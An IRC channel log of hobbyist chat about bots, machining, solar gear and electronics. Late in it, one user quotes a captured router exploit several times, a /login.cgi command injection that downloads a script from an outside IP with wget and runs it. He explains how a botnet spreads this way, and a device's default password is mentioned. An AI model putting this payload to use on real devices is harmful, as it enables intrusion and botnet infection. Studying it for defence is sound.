#garfield Logs
Sep 04 2018
#garfield Calendar
12:00 AM * furrywolf moves to on top of kat, then starts snoring
12:03 AM dumbass_: rue, example of keepaliveping by my bot
12:03 AM dumbass_: keepaliveping
12:03 AM dumbass_: Sending: PRIVMSG any630200884 :
12:03 AM dumbass_: :any630200884!~somebotv3@69.179.110.181 PRIVMSG any630200884 :
12:03 AM dumbass_: lag: 0
12:07 AM dumbass_: Sending: LIST
12:07 AM dumbass_: :hobana.freenode.net 322 Eubot-v5-45 #jspm 5 :
12:07 AM dumbass_: :hobana.freenode.net 322 Eubot-v5-45 #bitmazk 4 :
12:07 AM dumbass_: :hobana.freenode.net 322 Eubot-v5-45 #xomb 8 :xomb exokernel project @ www.xomb.org
12:07 AM dumbass_: :hobana.freenode.net 322 Eubot-v5-45 ##RonPaul-ops 3 :Administration channel for #RonPaul. Discussion of channel policies and bans belongs here. Channel policy: http://www.billstclair.com/RonPaul/channel-policy.shtml | the freenode client is banned to here until freenode do what they said they do in banning mibbit
12:07 AM dumbass_: :hobana.freenode.net 322 Eubot-v5-45 ##marquette 4 :"unofficial" Marquette University channel for student-based collaboration on projects, social events, etc.
12:07 AM dumbass_: etc
12:08 AM * dumbass_ adjusts furry a lil to one side
12:09 AM furrywolf: *grawumph? zzzz*
12:14 AM zhanx: that phone call was not automated wtf
12:14 AM dumbass_: -- this is a irc client,
12:14 AM dumbass_: -- it can connect to as many servers as your OS allows
12:14 AM dumbass_: -- Kat
12:14 AM dumbass_: -- June 10, 2001 - then i broke it
12:14 AM dumbass_: -- May 28, 2002 - fixed
12:14 AM dumbass_: -- August 20, 2002 - added more stuff
12:15 AM dumbass_: i didn;t call
12:15 AM zhanx: not you
12:15 AM zhanx: I took a full time job recently
12:15 AM dumbass_: -- connect to the list of servers.....
12:15 AM dumbass_: for connectionloop = 1 to length(serverlist) do
12:15 AM dumbass_: getnetstats(connectionloop)
12:15 AM dumbass_: etc
12:16 AM dumbass_: puts (1,"Gonna try connecting to "&server_name&" at "&server_ip&":"&sprintf("%d",server_port)&"\n")
12:16 AM dumbass_: puts (logfile,"Gonna try connecting to "&server_name&" at "&server_ip&":"&sprintf("%d",server_port)&"\n")
12:16 AM dumbass_: while length(databuffer) or ServerNeedsAttention() do
12:16 AM dumbass_: data = ReadServer(sock)
12:16 AM dumbass_: etc
12:16 AM zhanx: linux its /var/log fyi
12:17 AM rue_: ok, 2 bots up
12:17 AM rue_: (see ##lamebots if you like)
12:17 AM rue_: oh hey
12:17 AM rue_: hmm
12:17 AM rue_: the first one died
12:17 AM rue_: oh I moofed
12:18 AM dumbass_: i could send you \my_irc\Eubot_0.13\irc_Tiggr\Eu client and really moof you up
12:18 AM dumbass_: -- You can put up to 100 servers in here for now.
12:18 AM dumbass_: -- 100 is what is programmed for in the main file,
12:18 AM dumbass_: -- but it a variable, and can be set to any number.
12:18 AM dumbass_: -- The fields are named so they can
12:18 AM dumbass_: -- 1) be in any order,
12:18 AM dumbass_: -- 2) missing from the list
12:18 AM dumbass_: -- D:\irc_Tiggr\Eu client\serverlist-ini.ew
12:18 AM rue_: srry kat, too big for this application
12:19 AM rue_: but I need to get tobbor back up
12:19 AM rue_: so, maybe that will help out
12:19 AM dumbass_: out of the box it will connect to 2 servers on sorcery and one on dalnet , different channels, different permissions, nicks, and passwords
12:20 AM * dumbass_ was not a dumbass back when people appreciated her
12:20 AM rue_: I love the idea for tobbor
12:22 AM dumbass_: i wrote MEGABYTES of source code for Tiggr
12:23 AM rue_: tigger is awesome
12:23 AM rue_: even just the cut down version you have now
12:23 AM dumbass_: was,, i deleted a lot
12:25 AM dumbass_: afaik, all her weather forecasting code is gone, all the translation code, and all the wikipedia search code is gone
12:26 AM dumbass_: all her tide code is gone, and the remote c&c console is gone
12:26 AM zhanx: http://citeseerx.ist.psu.edu/viewdoc/download?doi=10.1.1.306.4159&rep=rep1&type=pdf
12:27 AM dumbass_: nice url
12:27 AM zhanx: 3d scanning math
12:27 AM dumbass_: ouch
12:28 AM dumbass_: i was commentsing ont he url itself,,, which i assume i can rename to a .pdf when it;s finished?
12:29 AM zhanx: yes
12:30 AM dumbass_: so you can give 3D points in space to Tom and he can mill statues?
12:31 AM zhanx: i would think so
12:32 AM dumbass_: that cold be such a moneymaker
12:32 AM rue_: zhanx, this is fun, only 6 bots up and I'm having a ball
12:33 AM zhanx: you are loving it
12:34 AM rue_: this is halarious
12:34 AM dumbass_: how so?
12:34 AM rue_: 22 bots in 20 channels are pushing random idle messges
12:34 AM rue_: kat, join ##lamebots for a bit if you want
12:34 AM dumbass_: i already am
12:34 AM rue_: or any of the other 22 chanels :)
12:34 AM rue_: er 20 cahnensls
12:35 AM dumbass_: 10 connections
12:35 AM zhanx: why 20 channels?
12:35 AM zhanx: better bait?
12:38 AM zhanx: hated the fact my wife has zero clue what net 30 terms are
12:38 AM rue_: spread across alphabetic spectrum
12:38 AM zhanx: so spun her up on it, and she still doesn't care
12:38 AM rue_: I skipped wxyz
12:39 AM dumbass_: does she need to know?
12:39 AM zhanx: so you used Indonesian alphabet
12:39 AM zhanx: kat for the budget yes
12:40 AM dumbass_: i have alwasy said finance terms are strangely obtuse and unfathomable, so i gotta agree with her
12:40 AM dumbass_: "pay in 30 days" works for me
12:41 AM dumbass_: pay asap
12:41 AM dumbass_: pay by $date
12:41 AM zhanx: I have net terms with dates etc
12:42 AM dumbass_: i have logs of malay channels you could play to channel if you need text
12:42 AM dumbass_: or you could play sentences from non-english wikipedia
12:43 AM rue_: heh
12:43 AM rue_: I have a file of lines of text as irc commands, that I randomly choose oen out of
12:43 AM rue_: becasue their spread across 20 channels, they dont come up much
12:46 AM zhanx: well that is 14 bots
12:46 AM zhanx: well 12 sorry
12:48 AM dumbass_ is now known as katsmeow
12:49 AM katsmeow: damn, 50 nicks just Ping timeout: 260 seconds
12:51 AM rue_: 50?
12:53 AM rue_: hah, is this cool??
12:54 AM zhanx: how many terminals open?
12:55 AM rue_: 1 :)
12:55 AM rue_: I'm backgrounding them
12:55 AM zhanx: bad rue
12:55 AM katsmeow: from an ircop on freenode : He's going to want to run an identd.
12:56 AM katsmeow: https://duckduckgo.com/?q=+identd+irc&t=ffsb&ia=web
12:56 AM rue_: ? they are all logged in
12:57 AM katsmeow: If Identd is not enabled on your client, or the client you try to /whois, then the hostmask has a preceding tilde (~) attached to it, much like the sample below:
12:57 AM katsmeow: ~hostmaskhere@somewhere.com
12:58 AM katsmeow: huie42 is ~huie42@d205-250-204-74.bchsia.telus.net * huie42
12:58 AM katsmeow: you have the tilde, identd is not enabled
12:58 AM rue_: ok
12:58 AM rue_: do it on me!
12:59 AM katsmeow: rue_ is ~rue_mohr@d205-250-204-74.bchsia.telus.net * realname
12:59 AM rue_: right
12:59 AM katsmeow: i have it on :
12:59 AM rue_: so huie looks more legit than I do
12:59 AM katsmeow: katsmeow is katsmeow@gateway/vpn/privateinternetaccess/katsmeow * ...
12:59 AM katsmeow: no ~
01:00 AM zhanx: ~zhanx@h96-61-0-215.hermnyxa.dsl.dynamic.tds.net): realname
01:00 AM katsmeow: https://en.wikipedia.org/wiki/Ident_protocol#Uses
01:00 AM katsmeow: zhanx has the ~ , he has not turned on ident daemon
01:01 AM rue_: but if I had an ident daemon, they would all come up as the same person
01:01 AM zhanx: correct i did not turn it on
01:02 AM katsmeow: rue, msg Unit193 and ask for clarification, if you like
01:02 AM katsmeow: . 01:03:47am 09/04/2018 Tuesday patate23 quit: Killed (Sigyn (Spam is off topic on freenode.)) .
01:04 AM rue_: the rules probably indirectly state to NOT try to chase after the people spamming freenode cause people are free to do that if they want to, and if people dont want to listen tot eh spam, they should leave, which is NOT an oppinion I share
01:04 AM rue_: haha a bot is missing
01:06 AM rue_: lovethedots8 is missing
01:07 AM rue_: ok
01:07 AM rue_: there, everyone is accounted for
01:07 AM rue_: pick a random channel... ##optoelectronic
01:08 AM rue_: ok I best go to bed
01:08 AM rue_: I'll leave this for the night and see what happens
01:11 AM * katsmeow wavers gnites too
08:14 PM Tom_L: ok rue_shop3
08:19 PM Tom_L: http://tom-itx.no-ip.biz:81/~webpage/rue/encoder/encoder3.jpg
08:19 PM Tom_L: http://tom-itx.no-ip.biz:81/~webpage/rue/encoder/encoder4.jpg
08:20 PM Tom_L: are those too close together?
08:20 PM Tom_L: 1/32 em on those
08:35 PM Tom_L: i moved the slots .020" closer to the edge since that pic
08:36 PM Tom_L: guess i should time the runtime
08:51 PM rue_: oh wow fcool
08:52 PM rue_: those look awesome tom
08:52 PM Tom_shop: gonna run a good one now
08:52 PM Tom_shop: 8 min runtime
08:57 PM Tom_shop: that's double cutting the slots
08:57 PM Tom_shop: in and back out
08:58 PM rue_: they look a lot strighter
08:58 PM Tom_shop: they're fair
08:58 PM Tom_shop: the slot is better yes
08:58 PM Tom_shop: about halfway done
09:20 PM Tom_L: http://tom-itx.no-ip.biz:81/~webpage/rue/encoder/encoder5.jpg
09:20 PM Tom_L: http://tom-itx.no-ip.biz:81/~webpage/rue/encoder/encoder6.jpg
09:20 PM Tom_L: http://tom-itx.no-ip.biz:81/~webpage/rue/encoder/encoder7.jpg
09:22 PM Tom_L: upper left in 5 is the good one
09:23 PM useless: use the encoder wheel from a puter mouse?
09:23 PM furrywolf: lol @ leakgate. I especially love nasa editing out pictures of it from their videos.
09:23 PM Tom_L: kat, encoder wheel from a chunk of aluminum
09:24 PM Tom_L: oh i misread that..
09:24 PM useless is now known as fckng_stupid
09:24 PM Tom_L: i think rue tried em and cracked some
09:24 PM fckng_stupid: i knew it was aluminum, but i know i will never convince anyone i knew it
09:24 PM fckng_stupid: and my suggestion was ignored
09:24 PM Tom_L: i said i misread what you said
09:26 PM * Tom_L crawls back in his hole for the night
09:28 PM furrywolf: https://www.nasaspaceflight.com/wp-content/uploads/2018/08/2018-08-31-153355.jpg even rocket scientists can't make a drill start cleanly, apparantly. :)
09:28 PM furrywolf: not only is the hole in the wrong spot, it took at least four tries. lol
09:31 PM * furrywolf randomly pets kat
09:31 PM * fckng_stupid looks uncomfortable
09:31 PM rue_: I see about 21 other places you might have wanted that hole to go
09:32 PM Tom_L: rue i moved that upper left one out about .020 on the slot
09:32 PM Tom_L: ~.030" disk thickness
09:33 PM furrywolf: I asked the seller I got the two $99 breakers from if I could return them, no answer... sigh.
09:35 PM rue_: $99?
09:35 PM rue_: DC?
09:35 PM rue_: about 150A?
09:35 PM furrywolf: fancy GFDI breakers.
09:35 PM furrywolf: two 80A and one 0.5A dc with common trip
09:37 PM rue_: solar yea
09:38 PM furrywolf: https://www.ebay.com/itm/OutBack-Power-PV-Ground-Fault-Detector-Interrupter/251706290784 the two-pole variety (three poles total)
09:38 PM furrywolf: turns out I actually need the $190/each GFPD instead of GFDI.
09:39 PM furrywolf: https://www.ebay.com/itm/Morningstar-GFPD-150V-Ground-Fault-Protection-Device-150-volt/251792805579 need two of those
09:46 PM fckng_stupid is now known as katsmeow
09:47 PM furrywolf: yay!!!11
09:49 PM * furrywolf sits on kat so she can't change nicks again. :)
09:52 PM rue_: so, the bots ran all night
09:52 PM rue_: shut them down this morning on account of traffic
09:53 PM katsmeow: there was traffic?
09:54 PM furrywolf: I'd suggest another bot that joins the top 100 channels and looks for spam or anything sigyn kills, and logs that
09:56 PM furrywolf: http://diysolarwarehouse.com/morning-star.html wow. those navigation buttons are... wow.
10:01 PM furrywolf: "DIYSolarWareHouse was founded in 2013 and is located in Spring Valley, California." it's not even an old page... someone, in 2013, decided to make navigation buttons that looked like that.
10:02 PM katsmeow: and they didn;t survive the drugs to fix the mistake
10:02 PM furrywolf: lol
10:04 PM rue_: not good with contrast
10:07 PM furrywolf: meh. I should be getting stuff done, but I've been feeling entirely useless tonight.
10:07 PM katsmeow: you weren;t feeling me!
10:08 PM furrywolf: is that a complaint?
10:08 PM katsmeow: just an observation
10:08 PM * furrywolf doesn't consider kat useless
10:09 PM katsmeow: and yet, i canot help in anything, because i am now seen to know nothing
10:09 PM katsmeow: regardless of my actual abilities, i am not used
10:09 PM katsmeow: the definition of "useless"
10:15 PM rue_: I been loafind too
10:15 PM rue_: loafing
10:15 PM rue_: I need to write code
10:15 PM rue_: force feedback code!
10:16 PM katsmeow: i had to go buy another $40 circular saw, since i couldn;t use mine for 15 yrs, i canot find it
10:16 PM katsmeow: don;t remember what i used it on last
10:17 PM rue_: I need supper
10:17 PM rue_: how do I make me not need supper
10:17 PM furrywolf: that happens to me a LOT. :(
10:17 PM rue_: electricity->biology = not food req'd
10:17 PM furrywolf: I have no space to organize things, so stuff gets crammed into boxes, and then I buy another one when I need it.
10:18 PM katsmeow: i found the two parts units, minus cords, blades, and other parts
10:18 PM rue_: body turns oil and sugar into hmm
10:19 PM rue_: so to turn it back...
10:20 PM rue_: oh I know the problem
10:21 PM rue_: no sleep last night and long day at work
10:21 PM rue_: ok I cd'd into the right directory
10:22 PM rue_: these are all my servos codes
10:22 PM rue_: last one was adc_softpwm_P
10:23 PM rue_: I'll want something like adc_serialDAC_P
10:24 PM furrywolf: why does no one make snap-in friction-to-ball-bearing toolbox upgrades?
10:24 PM rue_: ok I'm falling asleep
10:24 PM rue_: this does not help me code
10:24 PM rue_: furrywolf, for?
10:24 PM katsmeow: space
10:25 PM rue_: and If I'm falling alseep, I'd better start supper
10:25 PM katsmeow: good idea, the smoke will wake you after a while, so you can resume coding
10:25 PM furrywolf: lol
10:25 PM rue_: the detector goes off first
10:25 PM rue_: so ~yea
10:26 PM rue_: I could put it on the "high" hook, it might not burn too bad by the time it goes off
10:26 PM furrywolf: rue_: for old toolboxes... the kind that use the H-shaped glides with grease.
10:26 PM rue_: oof, a real toolbox
10:26 PM rue_: the only toolboxes you find here are the lunchbox like ones
10:26 PM rue_: few of them
10:27 PM furrywolf: the kind that stop opening when you load them full of heavy crap... while new ball bearing ones slide right open.
10:27 PM rue_: open and more?
10:27 PM rue_: aren't eh friction wheels riveted in?
10:27 PM katsmeow: ballbearings take up more room
10:28 PM rue_: I have a supper plan
10:28 PM rue_: rice, burger and veggies
10:28 PM furrywolf: I think I could design one that fits in place of the H channel piece, and makes it ball bearing...
10:29 PM rue_: you can 3d print ones with ball races
10:29 PM rue_: and massage little brass balls into them
10:29 PM furrywolf: no, you can't 3d print any part of any toolbox worth owning, at least not with any 3d printer that costs less than a brand new 3-bay snap-on stack.
10:29 PM rue_: snap-on, ouch$
10:30 PM rue_: so I ahve to go the the kitchen and load the ricemaker with rice and veggies
10:30 PM katsmeow: can you use modern ball-bearing drawer guides?
10:30 PM rue_: and start some feeb in the pan
10:30 PM katsmeow: feeb for dinner?
10:31 PM * rue_ has a segfault and falls over
10:31 PM furrywolf: lol
10:32 PM katsmeow: furry, get some heavy duty stamped loose-ball guide rails, and see if you can install them 90 degrees turned from how thjey are supposed to go?
10:33 PM katsmeow: like the kind used in filing cabinets
10:33 PM furrywolf: well, all I really need are a few replacement original-style glides... my H pieces are splitting. I was just wondering why no one makes a ball bearing upgrade.
10:34 PM katsmeow: because apparently you donl;t need them
10:35 PM furrywolf: except I can't even find replacement friction glides.
10:36 PM furrywolf: https://www.shopfloortalk.com/forums/attachment.php?attachmentid=32579&d=1212868348 I need the H-shaped shiny piece
10:37 PM rue_: kat, I know you wont belive nme or whatever, so take it as a fact with salt if you want, the brain uses star, not chain topology for doing sequencing, thats why things can get out of order like they sometimes do
10:37 PM rue_: furrywolf, wrong angle, lifetime warranty, tell them its broken and they replace it
10:38 PM rue_: tahts why its not available
10:38 PM katsmeow: rue, i had not bothered considering the topology, otehr than that it was multithreaded and sequential
10:38 PM furrywolf: I emailed Mac a while ago... I should email them again. but I suspect they're not going to warranty them.
10:38 PM rue_: but the sequencing
10:39 PM rue_: its not A->B->C->D
10:39 PM rue_: its A->B A-->C A--->D
10:39 PM katsmeow: furry, they do make that type in ball bearings
10:39 PM rue_: or more
10:40 PM furrywolf: katsmeow: but they're not easy to install... you'd have to un-spot-weld the box and fab everything...
10:40 PM rue_: its 0->A 0-->B 0--->C 0---->D
10:40 PM furrywolf: as long as it's not 8====D. then I'd need to kick you.
10:40 PM rue_: if one timer goes out, the sequence goes for a mess
10:40 PM katsmeow: nope, the oem politely left you plenty of room above the old ones to install modern ones
10:41 PM rue_: which makes sense with multithreading a little
10:41 PM rue_: all the times are going at once
10:41 PM furrywolf: that's not my actual box. it's just a picture I found googling showing the right piece, if anyone didn't know what I meant.
10:41 PM katsmeow: damnit, this puter is too busy to open a new tab in FF iside 5 minutes
10:42 PM rue_: hmm, all the timers are going at once...
10:44 PM katsmeow: i left the puter on all nite to dl 7GB from the UN, and looks like it will take an equal amount of time to move it from d:/wget/ to e:/kb/oceanology/
10:45 PM katsmeow: identd : https://tools.ietf.org/html/rfc1413
10:47 PM rue_: linux does same-device moves really fast, cause it just changes the dir structure, dosn't copy and delete the actual file like MS
10:47 PM katsmeow: same as winders, but in this case i am moving to anotehr hdd
10:47 PM furrywolf: I wrote an identd once.... it was really, really trivial. and it ran from inetd. it was about two lines. heh.
10:48 PM katsmeow: there's free ones you can get for nix and winders, but they are too easy to fake the data from, or they can be too stupid and give no data, so i don;t see the point in them
10:49 PM rue_: I had 22 bots running all night, each spouting a message every 128 seconds, across 20 channels, and nobody said a thing
10:49 PM furrywolf: mine intentionally faked the data. I think it just answered every query with "fuckoff".
10:49 PM katsmeow: there's always been one in mirc, i checkbox to turn on long enough to conect to irc server and then sut off
10:50 PM rue_: hmm, I need to work out impulse/AGC logic
10:50 PM katsmeow: that was once common too, no one uses any more
10:50 PM katsmeow: heh, furry, FINGER gives out your real data
10:51 PM rue_: no comment
10:51 PM rue_: kat, do you know if the data of 100G neurons int eh human brain is about right?
10:51 PM furrywolf: if you want to finger me, you better at least get me dinner first. :)
10:51 PM katsmeow: i know alledged humans runing on a LOT less, rue
10:53 PM rue_: I think a neuron firing is approx equiv to a series rlc, with c = 0.001pF and the inductor having a length of 0.01mm, and a peak current of 10pA
10:53 PM rue_: a logic gate, thats a schmitt
10:54 PM rue_: a pulse schmitt
10:54 PM katsmeow: i think that doesn;t matter, when you can simulate nurons with neuronlist[1..100000000000]
10:54 PM rue_: a pulse schmitt with an AGC on the input
10:55 PM rue_: so, how does logic made from this work
10:55 PM rue_: weak pulses change the bias of the agc
10:56 PM rue_: strong pulses are more likley to trigger the schmitt
10:56 PM rue_: does each input have a seperate agc?
10:56 PM rue_: dont thik so
10:56 PM katsmeow: neuronlist[1] = [behave like rue wants you to behave today] ; replicate yourself 100000000000 times
10:57 PM rue_: so a mux->agc->pulse-schmitt
10:57 PM rue_: the goal is to makea simple state machine with these elements
10:57 PM katsmeow: rue, i am still faltering at the higher level logic you are trying to make happen, i don;t see it happening
10:58 PM furrywolf: rue has lots of theories
10:58 PM katsmeow: altho atm, i can justify my stupidity by saying i ate sleeping pills and otehr anticholeragenics an hrs ago
10:58 PM rue_: I'm also the only person in the world to walk into a hackers botnet irc server and say hello
10:59 PM rue_: I'm also the only person to use leviton voice modules in enough quantity to need packs of 25
10:59 PM * furrywolf gives kat a nice warm fluffy wolfy, by far the best sleep aid ever
10:59 PM rue_: me pets the wolf
10:59 PM rue_: wait, what end is....
11:00 PM * rue_ goes washes his ahnds
11:00 PM katsmeow: check which way the aahir is flowing, rue
11:00 PM katsmeow: hair
11:00 PM furrywolf: lol
11:00 PM rue_: how does a pulse schmitt work
11:00 PM katsmeow: in cmos? really poorly
11:00 PM rue_: if the input is over the trigger, it discharges a cap
11:00 PM furrywolf: also, I have a bidet seat. I'm clean on both ends.
11:01 PM katsmeow: 74LS123 has scmidt triggers, look at it's olde data sheet, from back when they gace details of what is in each chip
11:02 PM rue_: but its a pulse schmitt
11:02 PM katsmeow: yeas
11:02 PM rue_: aka, if the input pulse is strong enough, it ouputs a pulse
11:02 PM rue_: like a SCR discharging a cap...
11:02 PM * furrywolf thinks bidet seats are one of the best inventions ever
11:02 PM * katsmeow gives ip
11:03 PM katsmeow: my brais isn;t composed of scrs discharging capacitors
11:03 PM furrywolf: rue's might be!
11:03 PM rue_: the trigger of an scr comes off cathode?
11:04 PM katsmeow: furry, his isn;t workig weel, for all the problems with the human body, he wants to duplicate that mess as a robot
11:04 PM furrywolf: I don't know why bidet seats aren't more popular... everyone should get one.
11:04 PM katsmeow: i'd be happy with an actual seat over the bucket now
11:05 PM rue_: ok, how do I do an agc for this
11:05 PM furrywolf: I had a composter for a while... I will hopefully never, ever see one again.
11:05 PM rue_: I suppose agc has to be based on output signal
11:06 PM rue_: but, pulses that dont trigger the schmitt need to bias the agc
11:06 PM katsmeow: i got some stainless steel stew buckets from Walmart, soi could clap a cavity magnetron onto the bucket to sterise the contents,, turns out the food-stew buckets bottoms are full of pinholes
11:06 PM rue_: so its not much like an agc
11:07 PM katsmeow: furry, i use a compost row outside away from the house
11:07 PM rue_: lack of pulses needs to increase gain
11:07 PM katsmeow: all the leaves i rake outa the driveway, into a pile, near the row
11:08 PM katsmeow: is dinner burning yet, rue?
11:08 PM furrywolf: I don't think he started dinner.
11:08 PM katsmeow: weight the pot, see if 1/2 the water has boiled away
11:08 PM katsmeow: or, use other emperically discovered weight points to signify it;s done
11:09 PM rue_: its burning as we type
11:09 PM katsmeow: ok
11:10 PM katsmeow: hmm, if buring food is ok in the trailer, for insurance reasons, why about one of thse wood pellet heaters, or corn burner heater (ps: thie may burn old catfood etc too)?
11:10 PM rue_: lets say I made the agc attenuating only
11:10 PM rue_: then I could use a ldr/led
11:10 PM katsmeow: you made the agc attenuatuig only
11:11 PM rue_: the led, would have to get brighter with no signal
11:11 PM rue_: katsmeow, how long will it take your arm to stop being numb after you get to bed?
11:11 PM rue_: 5 mins ya think?
11:11 PM katsmeow: that's why the goddess gave us comparators and one-shots, rue
11:11 PM rue_: I need to know the agc rate
11:12 PM rue_: if the pulses are positive
11:12 PM katsmeow: my arm is not numb,, and numbness is usually blood-flow related, not neuron transit time related
11:12 PM rue_: then I have them raise the voltage on, a cap
11:13 PM katsmeow: neurons condust in millisecs, bllod flow must be pumped
11:13 PM rue_: ok, when you hit your funny bone, how long does it take the blood flow to restore?
11:13 PM katsmeow: funny bone impact isn;t numbness?
11:14 PM furrywolf: katsmeow: maybe if we hold him down and test this on him, he'll stop talking?
11:14 PM rue_: regardless, it reflects agc recovery time
11:14 PM katsmeow: lets put it this way: the signal from your ear to brain is at some audio freq you are listening to
11:14 PM rue_: so the led would have to be set between positive and the capacitor voltage
11:14 PM rue_: furrywolf, funny bone recovery time, 5 mins?
11:15 PM rue_: your just encouraging me, persisting I'm wrong means this is a avenue nobody has followed yet, and because nobody has been successfull, I have better odds of being on the right track
11:16 PM rue_: I'm sure I can reverse engineer myself out of this organic body
11:16 PM rue_: I have to be, I cant give up
11:17 PM katsmeow: i said i cannot follow how your electroncs can do high level operations on data
11:17 PM rue_: ok, the led is tied annode to positive, and the cathode is on a voltage follower to a cap on the input signal
11:17 PM katsmeow: and you canot exist in your bio-body and robot-body at same time, ergo one must die to allow you to get to the other
11:18 PM rue_: katsmeow, you start with anything you can figure out, and build your way to the rest of it, just like when YOU are reverse engineering a machine to try to fix it
11:18 PM katsmeow: see, i have noclue about how you are suing the led
11:18 PM katsmeow: i am about to faceplant
11:19 PM rue_: led -> light dependent resistor
11:19 PM rue_: gain element
11:20 PM furrywolf: I've stopped reading anything he says. it's been filed under "babble".
11:20 PM katsmeow: gnites
11:21 PM rue_: one day I will find someone who will work with me
11:21 PM rue_: I hope
11:21 PM rue_: awe damnit, now I'm depressed.
11:22 PM rue_: 16 years on irc and still havn't found anyone who can follow me
11:22 PM rue_: is it useless?
11:22 PM rue_: no
11:22 PM rue_: are you sure?
11:22 PM rue_: no, but depression is the only thing that can destroy you
11:22 PM rue_: well, tonight its winning
11:22 PM rue_: just a battle rue, just a battle
11:25 PM furrywolf: people would follow you better if you made more sense. :)
11:27 PM rue_: is this battle lost? these are the best of the people I'v found, kat is a varitable genious and not even she follows
11:27 PM rue_: dont give up in a mere 16 years, and watch the depression it can take you down in a moment of a millenia
11:28 PM rue_: nobody ever understands me, nobody ever has, I'm SO on my own here
11:28 PM rue_: you will find people, be kind, and patient
11:29 PM rue_: yes but not even making people worked, I tried, I really tried.
11:29 PM rue_: and the good deeds will come back, give it time
11:29 PM rue_: *sigh*
11:30 PM rue_: there is someone waiting right?
11:30 PM furrywolf: ?
11:30 PM rue_: yup, its all just a test.
11:31 PM rue_: furrywolf, go on and sleep
11:31 PM furrywolf: I have absolutely no idea what you're trying to ask. heh.
11:31 PM * furrywolf gave up on people a long time ago
11:31 PM rue_: I know, gnight
11:33 PM furrywolf: kat is smart, but she takes everything way too personally...
11:33 PM furrywolf: I like her, but it's so frustrating to have everything you say re-worded as an attack.
11:35 PM rue_: yep, pretty damaged
11:38 PM furrywolf: and, you're right, it is getting to be my bedtime. lol
11:39 PM zhanx: hey rue_
11:40 PM rue_: yup.
11:40 PM zhanx: dont worry i am following you
11:41 PM zhanx: just at my own pace
11:41 PM rue_: thanks
11:42 PM rue_: I'll play with the neuron gate schematic I made and if It works, I'll cc ya
11:42 PM zhanx: you know the irc bot net is not done right?
11:42 PM rue_: I know :)
11:42 PM furrywolf: bbl, wolfy bedtime
11:42 PM rue_: but it didn't get taken down
11:43 PM rue_: (I turned it off in the morning)
11:43 PM zhanx: i will be onsite thursday
11:43 PM rue_: ? which site
11:43 PM zhanx: I will try and dump the printer rom as its doing it again
11:43 PM rue_: which is it doing?
11:44 PM zhanx: retail grocery store printers are acting up again and taking forever to print
11:44 PM rue_: ah
11:44 PM zhanx: all ip printers with an embedded webserver
11:44 PM zhanx: i got the main pc login / password this time
11:44 PM rue_: incercept traffic, see whats up
11:44 PM zhanx: yep its all embedded linux ubuntu 12.04
11:45 PM zhanx: I know that now
11:45 PM rue_: its its connective to port 444 of a ip address in public space, its infected
11:45 PM zhanx: k
11:45 PM zhanx: and irc ports also
11:45 PM rue_: they modded the port for irc
11:45 PM rue_: 444
11:45 PM zhanx: k
11:45 PM rue_: iirc
11:46 PM zhanx: i will push that up (yes the company is listening to me)
11:46 PM rue_: 441? 444? ....
11:46 PM zhanx: i will just scan them all and report back
11:46 PM rue_: see if their connecting to outbound 400's on public space
11:46 PM zhanx: this is big and some people think it can't happen
11:47 PM zhanx: I will be on the switch and router so i can do that
11:47 PM rue_: the last attack was designed to get around routers and set up on IOT devices, but may have been anything with arm/mips processors
11:47 PM zhanx: I can do this and you can laugh
11:47 PM zhanx: the default password is cat10dog
11:47 PM rue_: 10 machines/min were joining that channel
11:47 PM rue_: I'v not seen that one in the attacks
11:48 PM rue_: I have a list if you want
11:48 PM zhanx: rue_, that is an easy password to crack
11:49 PM rue_: I been collecting login attempt user/passwords for like 2 weeks now
11:49 PM zhanx: ok I need the list
11:50 PM rue_: finishign supper :)
11:50 PM zhanx: I can bounce that off what I have from stuff sent to me
11:50 PM zhanx: bet some are on it
11:50 PM rue_: but the main enrty was routers with login.cgi and default passwords
11:50 PM rue_: then they would set up to search networks behind them
11:51 PM zhanx: yep and i am still wanting to know how they do it
11:51 PM rue_: easy
11:51 PM zhanx: I know they are doing a reverse ssh tunnel
11:53 PM rue_: GET /login.cgi?cli=aa%20aa%27;wget%20http://209.141.33.86/d%20-O%20-%3E%20/tmp/.shinka;sh%20/tmp/.shinka%27$ HTTP/1.1
11:53 PM rue_: thats how they get in
11:54 PM zhanx: windows servers?
11:54 PM rue_: nope
11:54 PM zhanx: i am not following
11:54 PM rue_: what it downlaods is only available for arm/arm7/mips and one other that I dont recognize
11:54 PM rue_: GET /login.cgi?cli=aa%20aa%27;wget%20http://209.141.33.86/d%20-O%20-%3E%20/tmp/.shinka;sh%20/tmp/.shinka%27$ HTTP/1.1
11:55 PM rue_: GET /login.cgi? cli=aa% 20aa%27 ;wget%20http://209.141.33.86/d%20-O%20-%3E%20/tmp/.shinka; sh%20/tmp/.shinka%27$ HTTP/1.1
11:56 PM rue_: GET /login.cgi? ;wget http://209.141.33.86/d -O ->/tmp/.shinka; sh/tmp/.shinka %27$ HTTP/1.1
11:56 PM rue_: GET /login.cgi? ;wget http://209.141.33.86/d -O ->/tmp/.shinka; sh/tmp/.shinka
11:56 PM rue_: they are inserting commands into the get to the http service
11:56 PM rue_: download my bash script, and execute
11:57 PM zhanx: yea that site is down for me
11:57 PM rue_: the bash script downloads and executes binaries
11:57 PM rue_: yes, its been taken down now
11:57 PM zhanx: email me the bash script?
11:57 PM rue_: they didn't ahve the infected machines act as servers
11:58 PM rue_: huh, its not on the stick..
11:58 PM rue_: 1 min
11:58 PM zhanx: take your time